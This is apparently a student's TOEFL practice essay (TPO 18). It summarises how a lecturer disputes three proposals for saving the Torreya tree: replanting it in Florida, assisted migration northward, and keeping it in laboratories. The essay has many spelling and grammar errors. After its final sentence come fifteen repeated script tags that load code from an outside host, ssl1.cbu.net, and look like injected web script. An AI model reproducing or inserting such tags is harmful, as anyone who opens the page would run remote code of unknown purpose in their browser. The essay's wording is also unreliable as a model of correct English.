TPO 18 the Torreya taxifoha

The reading and the lecture are both about the decline of Torreya tree, which was widespread in the state of Florida in the 1950s, but now they are declining rapidly.
The author of the reading believes there are three ways to support the tree from dying out. The lecturer challenges the statements made by the author. She is of the opinion that none of the solutions are satisfactory.
First of all, the author suggests that planting Torreya tree in the same location when they were once flourishing in the past. It is mentioned that Torreya tree is suited to wet and cool area, and its original habitat, Florida, is fitting as its microclimate. The argument is refured by the lecturer. She says it is very unlikely to succeed. Furthermore, she argues that its microclimate is strongly affected by the climate change. Florida wetlands are almost drained and more dryer these days.
Secondly, the article posits that moving the Torreya tree to different location could save it. The article notes putting this kind of tree to further north, where it is much cooler is reasonable solution. The lecturer, however, casts doubt on this by asserting that such examples do not usually results in favorable outcome. People established another tree, black locus, to a different region, and as a result, it spread so quickly that it killed of most of the native plant and trees of that region. The lecturer elaborates on this by mentioning that assistated migration is not good option.
Finally, it is stated in the reading that keeping the Torreya trees in laboratories and research centers is also another option. The article establishes that putting them in such environment is helpful to scientists to study and the species to survive. The lecturer, on the other hand, opposes that populations of Torrey tree in the laboratories could not resist diseases. She puts forth the idea that in order to a species to resist disease, its population must be large, but population in the research centres are not capable of surviving diseases in the long term. <script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script>